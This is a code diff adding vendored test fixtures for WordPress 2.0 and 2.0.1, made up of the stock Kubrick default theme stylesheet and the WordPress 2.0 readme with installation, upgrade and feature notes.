font-family: Arial, Helvetica, Sans-Serif;
font-size: 0.9em;
line-height: 1.5em;
}
h1, h2, h3 {
font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
font-weight: bold;
}
h1 {
font-size: 4em;
text-align: center;
}
.description {
font-size: 1.2em;
text-align: center;
}
h2 {
font-size: 1.6em;
}
h2.pagetitle {
font-size: 1.6em;
}
#sidebar h2 {
font-family: 'Lucida Grande', Verdana, Sans-Serif;
font-size: 1.2em;
}
h3 {
font-size: 1.3em;
}
h1, h1 a, h1 a:hover, h1 a:visited, .description {
text-decoration: none;
color: white;
}
h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited {
color: #333;
}
h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite {
text-decoration: none;
}
.entry p a:visited {
color: #b85b5a;
}
.commentlist li, #commentform input, #commentform textarea {
font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
.commentlist li {
font-weight: bold;
}
.commentlist cite, .commentlist cite a {
font-weight: bold;
font-style: normal;
font-size: 1.1em;
}
.commentlist p {
font-weight: normal;
line-height: 1.5em;
text-transform: none;
}
#commentform p {
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
.commentmetadata {
font-weight: normal;
}
#sidebar {
font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike {
color: #777;
}
code {
font: 1.1em 'Courier New', Courier, Fixed;
}
acronym, abbr, span.caps
{
font-size: 0.9em;
letter-spacing: .07em;
}
a, h2 a:hover, h3 a:hover {
color: #06c;
text-decoration: none;
}
a:hover {
color: #147;
text-decoration: underline;
}
#wp-calendar #prev a {
font-size: 9pt;
}
#wp-calendar a {
text-decoration: none;
}
#wp-calendar caption {
font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif;
text-align: center;
}
#wp-calendar th {
font-style: normal;
text-transform: capitalize;
}
/* End Typography & Colors */
/* Begin Structure */
body {
margin: 0;
padding: 0;
}
#page {
background-color: white;
margin: 20px auto;
padding: 0;
width: 760px;
border: 1px solid #959596;
}
#header {
padding: 0;
margin: 0 auto;
height: 200px;
width: 100%;
background-color: #73a0c5;
}
#headerimg {
margin: 0;
height: 200px;
width: 100%;
}
.narrowcolumn {
float: left;
padding: 0 0 20px 45px;
margin: 0px 0 0;
width: 450px;
}
.widecolumn {
padding: 10px 0 20px 0;
margin: 5px 0 0 150px;
width: 450px;
}
.post {
margin: 0 0 40px;
text-align: justify;
}
.widecolumn .post {
margin: 0;
}
.narrowcolumn .postmetadata {
padding-top: 5px;
}
.widecolumn .postmetadata {
margin: 30px 0;
}
#footer {
padding: 0 0 0 1px;
margin: 0 auto;
width: 760px;
clear: both;
}
#footer p {
margin: 0;
padding: 20px 0;
text-align: center;
}
/* End Structure */
/* Begin Headers */
h1 {
padding-top: 70px;
margin: 0;
}
.description {
text-align: center;
}
h2 {
margin: 30px 0 0;
}
h2.pagetitle {
margin-top: 30px;
text-align: center;
}
#sidebar h2 {
margin: 5px 0 0;
padding: 0;
}
h3 {
padding: 0;
margin: 30px 0 0;
}
h3.comments {
padding: 0;
margin: 40px auto 20px ;
}
/* End Headers */
/* Begin Images */
p img {
padding: 0;
max-width: 100%;
}
/* Using 'class="alignright"' on an image will (who would've
thought?!) align the image to the right. And using 'class="centered',
will of course center the image. This is much better than using
align="center", being much more futureproof (and valid) */
img.centered {
display: block;
margin-left: auto;
margin-right: auto;
}
img.alignright {
padding: 4px;
margin: 0 0 2px 7px;
display: inline;
}
img.alignleft {
padding: 4px;
margin: 0 7px 2px 0;
display: inline;
}
.alignright {
float: right;
}
.alignleft {
float: left
}
/* End Images */
/* Begin Lists
Special stylized non-IE bullets
Do not work in Internet Explorer, which merely default to normal bullets. */
html>body .entry ul {
margin-left: 0px;
padding: 0 0 0 30px;
list-style: none;
padding-left: 10px;
text-indent: -10px;
}
html>body .entry li {
margin: 7px 0 8px 10px;
}
.entry ul li:before, #sidebar ul ul li:before {
content: "\00BB \0020";
}
.entry ol {
padding: 0 0 0 35px;
margin: 0;
}
.entry ol li {
margin: 0;
padding: 0;
}
.postmetadata ul, .postmetadata li {
display: inline;
list-style-type: none;
list-style-image: none;
}
#sidebar ul, #sidebar ul ol {
margin: 0;
padding: 0;
}
#sidebar ul li {
list-style-type: none;
list-style-image: none;
margin-bottom: 15px;
}
#sidebar ul p, #sidebar ul select {
margin: 5px 0 8px;
}
#sidebar ul ul, #sidebar ul ol {
margin: 5px 0 0 10px;
}
#sidebar ul ul ul, #sidebar ul ol {
margin: 0 0 0 10px;
}
ol li, #sidebar ul ol li {
list-style: decimal outside;
}
#sidebar ul ul li, #sidebar ul ol li {
margin: 3px 0 0;
padding: 0;
}
/* End Entry Lists */
/* Begin Form Elements */
#searchform {
margin: 10px auto;
padding: 5px 3px;
text-align: center;
}
#sidebar #searchform #s {
width: 115px;
padding: 2px;
}
#sidebar #searchsubmit {
padding: 1px;
}
.entry form { /* This is mainly for password protected posts, makes them look better. */
text-align:center;
}
select {
width: 130px;
}
#commentform input {
width: 170px;
padding: 2px;
margin: 5px 5px 1px 0;
}
#commentform textarea {
width: 100%;
padding: 2px;
}
#commentform #submit {
margin: 0;
float: right;
}
/* End Form Elements */
/* Begin Comments*/
.alt {
margin: 0;
padding: 10px;
}
.commentlist {
padding: 0;
text-align: justify;
}
.commentlist li {
margin: 15px 0 3px;
padding: 5px 10px 3px;
list-style: none;
}
.commentlist p {
margin: 10px 5px 10px 0;
}
#commentform p {
margin: 5px 0;
}
.nocomments {
text-align: center;
margin: 0;
padding: 0;
}
.commentmetadata {
margin: 0;
display: block;
}
/* End Comments */
/* Begin Sidebar */
#sidebar
{
padding: 20px 0 10px 0;
margin-left: 545px;
width: 190px;
}
#sidebar form {
margin: 0;
}
/* End Sidebar */
/* Begin Calendar */
#wp-calendar {
empty-cells: show;
margin: 10px auto 0;
width: 155px;
}
#wp-calendar #next a {
padding-right: 10px;
text-align: right;
}
#wp-calendar #prev a {
padding-left: 10px;
text-align: left;
}
#wp-calendar a {
display: block;
}
#wp-calendar caption {
text-align: center;
width: 100%;
}
#wp-calendar td {
padding: 3px 0;
text-align: center;
}
#wp-calendar td.pad:hover { /* Doesn't work in IE */
background-color: #fff; }
/* End Calendar */
/* Begin Various Tags & Classes */
acronym, abbr, span.caps {
cursor: help;
}
acronym, abbr {
border-bottom: 1px dashed #999;
}
blockquote {
margin: 15px 30px 0 10px;
padding-left: 20px;
border-left: 5px solid #ddd;
}
blockquote cite {
margin: 5px 0 0;
display: block;
}
.center {
text-align: center;
}
hr {
display: none;
}
a img {
border: none;
}
.navigation {
display: block;
text-align: center;
margin-top: 10px;
margin-bottom: 60px;
}
/* End Various Tags & Classes*/
/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you.
It won't be a stylish marriage, I can't afford a carriage.
But you'll look sweet upon the seat of a bicycle built for two." */

120
spec/fixtures/wp_versions/2.0.1/readme.html vendored Executable file
View File

@@ -0,0 +1,120 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>WordPress &rsaquo; ReadMe</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">
<!--
html {
background: #eee;
}
body {
background: #fff;
color: #000;
font-family: Georgia, "Times New Roman", Times, serif;
margin-left: 25%;
margin-right: 25%;
padding: .2em 2em;
}
h1 {
color: #006;
font-size: 18px;
font-weight: lighter;
}
h2 {
font-size: 16px;
}
p, li, dt {
line-height: 140%;
padding-bottom: 2px;
}
ul, ol {
padding: 5px 5px 5px 20px;
}
-->
</style>
</head>
<body>
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
Version 2.0</h1>
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg </p>
<h1 id="installation">Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
<li>Save the file as <code>wp-config.php</code> </li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.0:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified </li>
<li>Upload the new files</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available. </dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web. </dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
</dl>
<h1 id="requirements">System Recommendations</h1>
<ul>
<li>PHP version <strong>4.1</strong> or higher</li>
<li>MySQL version <strong>3.23.23</strong> or higher</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_from_other_blogging_software">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1 id="templates">XML-RPC Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
<h1 id="roles">User Roles </h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,622 @@
/*
Theme Name: WordPress Default
Theme URI: http://wordpress.org/
Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
Version: 1.5
Author: Michael Heilemann
Author URI: http://binarybonsai.com/
Kubrick v1.5
http://binarybonsai.com/kubrick/
This theme was designed and built by Michael Heilemann,
whose blog you will find at http://binarybonsai.com/
The CSS, XHTML and design is released under GPL:
http://www.opensource.org/licenses/gpl-license.php
*** REGARDING IMAGES ***
All CSS that involves the use of images, can be found in the 'index.php' file.
This is to ease installation inside subdirectories of a server.
Have fun, and don't be afraid to contact me if you have questions.
*/
/* Begin Typography & Colors */
body {
font-size: 62.5%; /* Resets 1em to 10px */
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
background-color: #d5d6d7;
color: #333;
text-align: center;
}
#page {
background-color: white;
border: 1px solid #959596;
text-align: left;
}
#header {
background-color: #73a0c5;
}
#content {
font-size: 1.2em
}
.widecolumn .entry p {
font-size: 1.05em;
}
.narrowcolumn .entry, .widecolumn .entry {
line-height: 1.4em;
}
.widecolumn {
line-height: 1.6em;
}
.narrowcolumn .postmetadata {
text-align: center;
}
.alt {
background-color: #f8f8f8;
border-top: 1px solid #ddd;
border-bottom: 1px solid #ddd;
}
#footer {
background-color: #eee;
}
small {
font-family: Arial, Helvetica, Sans-Serif;
font-size: 0.9em;
line-height: 1.5em;
}
h1, h2, h3 {
font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
font-weight: bold;
}
h1 {
font-size: 4em;
text-align: center;
}
#headerimg .description {
font-size: 1.2em;
text-align: center;
}
h2 {
font-size: 1.6em;
}
h2.pagetitle {
font-size: 1.6em;
}
#sidebar h2 {
font-family: 'Lucida Grande', Verdana, Sans-Serif;
font-size: 1.2em;
}
h3 {
font-size: 1.3em;
}
h1, h1 a, h1 a:hover, h1 a:visited, #headerimg .description {
text-decoration: none;
color: white;
}
h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited {
color: #333;
}
h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite {
text-decoration: none;
}
.entry p a:visited {
color: #b85b5a;
}
.commentlist li, #commentform input, #commentform textarea {
font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
.commentlist li {
font-weight: bold;
}
.commentlist cite, .commentlist cite a {
font-weight: bold;
font-style: normal;
font-size: 1.1em;
}
.commentlist p {
font-weight: normal;
line-height: 1.5em;
text-transform: none;
}
#commentform p {
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
.commentmetadata {
font-weight: normal;
}
#sidebar {
font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike {
color: #777;
}
code {
font: 1.1em 'Courier New', Courier, Fixed;
}
acronym, abbr, span.caps
{
font-size: 0.9em;
letter-spacing: .07em;
}
a, h2 a:hover, h3 a:hover {
color: #06c;
text-decoration: none;
}
a:hover {
color: #147;
text-decoration: underline;
}
#wp-calendar #prev a {
font-size: 9pt;
}
#wp-calendar a {
text-decoration: none;
}
#wp-calendar caption {
font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif;
text-align: center;
}
#wp-calendar th {
font-style: normal;
text-transform: capitalize;
}
/* End Typography & Colors */
/* Begin Structure */
body {
margin: 0;
padding: 0;
}
#page {
background-color: white;
margin: 20px auto;
padding: 0;
width: 760px;
border: 1px solid #959596;
}
#header {
padding: 0;
margin: 0 auto;
height: 200px;
width: 100%;
background-color: #73a0c5;
}
#headerimg {
margin: 0;
height: 200px;
width: 100%;
}
.narrowcolumn {
float: left;
padding: 0 0 20px 45px;
margin: 0px 0 0;
width: 450px;
}
.widecolumn {
padding: 10px 0 20px 0;
margin: 5px 0 0 150px;
width: 450px;
}
.post {
margin: 0 0 40px;
text-align: justify;
}
.widecolumn .post {
margin: 0;
}
.narrowcolumn .postmetadata {
padding-top: 5px;
}
.widecolumn .postmetadata {
margin: 30px 0;
}
.widecolumn .smallattachment {
text-align: center;
float: left;
width: 128px;
margin: 5px 5px 5px 0px;
}
.widecolumn .attachment {
text-align: center;
margin: 5px 0px;
}
.postmetadata {
clear: left;
}
#footer {
padding: 0 0 0 1px;
margin: 0 auto;
width: 760px;
clear: both;
}
#footer p {
margin: 0;
padding: 20px 0;
text-align: center;
}
/* End Structure */
/* Begin Headers */
h1 {
padding-top: 70px;
margin: 0;
}
h2 {
margin: 30px 0 0;
}
h2.pagetitle {
margin-top: 30px;
text-align: center;
}
#sidebar h2 {
margin: 5px 0 0;
padding: 0;
}
h3 {
padding: 0;
margin: 30px 0 0;
}
h3.comments {
padding: 0;
margin: 40px auto 20px ;
}
/* End Headers */
/* Begin Images */
p img {
padding: 0;
max-width: 100%;
}
/* Using 'class="alignright"' on an image will (who would've
thought?!) align the image to the right. And using 'class="centered',
will of course center the image. This is much better than using
align="center", being much more futureproof (and valid) */
img.centered {
display: block;
margin-left: auto;
margin-right: auto;
}
img.alignright {
padding: 4px;
margin: 0 0 2px 7px;
display: inline;
}
img.alignleft {
padding: 4px;
margin: 0 7px 2px 0;
display: inline;
}
.alignright {
float: right;
}
.alignleft {
float: left
}
/* End Images */
/* Begin Lists
Special stylized non-IE bullets
Do not work in Internet Explorer, which merely default to normal bullets. */
html>body .entry ul {
margin-left: 0px;
padding: 0 0 0 30px;
list-style: none;
padding-left: 10px;
text-indent: -10px;
}
html>body .entry li {
margin: 7px 0 8px 10px;
}
.entry ul li:before, #sidebar ul ul li:before {
content: "\00BB \0020";
}
.entry ol {
padding: 0 0 0 35px;
margin: 0;
}
.entry ol li {
margin: 0;
padding: 0;
}
.postmetadata ul, .postmetadata li {
display: inline;
list-style-type: none;
list-style-image: none;
}
#sidebar ul, #sidebar ul ol {
margin: 0;
padding: 0;
}
#sidebar ul li {
list-style-type: none;
list-style-image: none;
margin-bottom: 15px;
}
#sidebar ul p, #sidebar ul select {
margin: 5px 0 8px;
}
#sidebar ul ul, #sidebar ul ol {
margin: 5px 0 0 10px;
}
#sidebar ul ul ul, #sidebar ul ol {
margin: 0 0 0 10px;
}
ol li, #sidebar ul ol li {
list-style: decimal outside;
}
#sidebar ul ul li, #sidebar ul ol li {
margin: 3px 0 0;
padding: 0;
}
/* End Entry Lists */
/* Begin Form Elements */
#searchform {
margin: 10px auto;
padding: 5px 3px;
text-align: center;
}
#sidebar #searchform #s {
width: 115px;
padding: 2px;
}
#sidebar #searchsubmit {
padding: 1px;
}
.entry form { /* This is mainly for password protected posts, makes them look better. */
text-align:center;
}
select {
width: 130px;
}
#commentform input {
width: 170px;
padding: 2px;
margin: 5px 5px 1px 0;
}
#commentform textarea {
width: 100%;
padding: 2px;
}
#commentform #submit {
margin: 0;
float: right;
}
/* End Form Elements */
/* Begin Comments*/
.alt {
margin: 0;
padding: 10px;
}
.commentlist {
padding: 0;
text-align: justify;
}
.commentlist li {
margin: 15px 0 3px;
padding: 5px 10px 3px;
list-style: none;
}
.commentlist p {
margin: 10px 5px 10px 0;
}
#commentform p {
margin: 5px 0;
}
.nocomments {
text-align: center;
margin: 0;
padding: 0;
}
.commentmetadata {
margin: 0;
display: block;
}
/* End Comments */
/* Begin Sidebar */
#sidebar
{
padding: 20px 0 10px 0;
margin-left: 545px;
width: 190px;
}
#sidebar form {
margin: 0;
}
/* End Sidebar */
/* Begin Calendar */
#wp-calendar {
empty-cells: show;
margin: 10px auto 0;
width: 155px;
}
#wp-calendar #next a {
padding-right: 10px;
text-align: right;
}
#wp-calendar #prev a {
padding-left: 10px;
text-align: left;
}
#wp-calendar a {
display: block;
}
#wp-calendar caption {
text-align: center;
width: 100%;
}
#wp-calendar td {
padding: 3px 0;
text-align: center;
}
#wp-calendar td.pad:hover { /* Doesn't work in IE */
background-color: #fff; }
/* End Calendar */
/* Begin Various Tags & Classes */
acronym, abbr, span.caps {
cursor: help;
}
acronym, abbr {
border-bottom: 1px dashed #999;
}
blockquote {
margin: 15px 30px 0 10px;
padding-left: 20px;
border-left: 5px solid #ddd;
}
blockquote cite {
margin: 5px 0 0;
display: block;
}
.center {
text-align: center;
}
hr {
display: none;
}
a img {
border: none;
}
.navigation {
display: block;
text-align: center;
margin-top: 10px;
margin-bottom: 60px;
}
/* End Various Tags & Classes*/
/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you.
It won't be a stylish marriage, I can't afford a carriage.
But you'll look sweet upon the seat of a bicycle built for two." */

120
spec/fixtures/wp_versions/2.0/readme.html vendored Executable file
View File

@@ -0,0 +1,120 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>WordPress &rsaquo; ReadMe</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">
<!--
html {
background: #eee;
}
body {
background: #fff;
color: #000;
font-family: Georgia, "Times New Roman", Times, serif;
margin-left: 25%;
margin-right: 25%;
padding: .2em 2em;
}
h1 {
color: #006;
font-size: 18px;
font-weight: lighter;
}
h2 {
font-size: 16px;
}
p, li, dt {
line-height: 140%;
padding-bottom: 2px;
}
ul, ol {
padding: 5px 5px 5px 20px;
}
-->
</style>
</head>
<body>
<h1 style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
Version 2.0</h1>
<p style="text-align: center"> Semantic Personal Publishing Platform </p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg </p>
<h1 id="installation">Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details</li>
<li>Save the file as <code>wp-config.php</code> </li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather. </li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.0:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified </li>
<li>Upload the new files</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available. </dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often. </dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web. </dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible. </dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion amoung people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpresss) </dd>
</dl>
<h1 id="requirements">System Recommendations</h1>
<ul>
<li>PHP version <strong>4.1</strong> or higher</li>
<li>MySQL version <strong>3.23.23</strong> or higher</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_from_other_blogging_software">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1 id="templates">XML-RPC Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL. </p>
<p> Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted. </p>
<h1 id="roles">User Roles </h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a></li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,626 @@
/*
Theme Name: WordPress Default
Theme URI: http://wordpress.org/
Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
Version: 1.5
Author: Michael Heilemann
Author URI: http://binarybonsai.com/
Kubrick v1.5
http://binarybonsai.com/kubrick/
This theme was designed and built by Michael Heilemann,
whose blog you will find at http://binarybonsai.com/
The CSS, XHTML and design is released under GPL:
http://www.opensource.org/licenses/gpl-license.php
*** REGARDING IMAGES ***
All CSS that involves the use of images, can be found in the 'index.php' file.
This is to ease installation inside subdirectories of a server.
Have fun, and don't be afraid to contact me if you have questions.
*/
/* Begin Typography & Colors */
body {
font-size: 62.5%; /* Resets 1em to 10px */
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
background-color: #d5d6d7;
color: #333;
text-align: center;
}
#page {
background-color: white;
border: 1px solid #959596;
text-align: left;
}
#header {
background-color: #73a0c5;
}
#content {
font-size: 1.2em
}
.widecolumn .entry p {
font-size: 1.05em;
}
.narrowcolumn .entry, .widecolumn .entry {
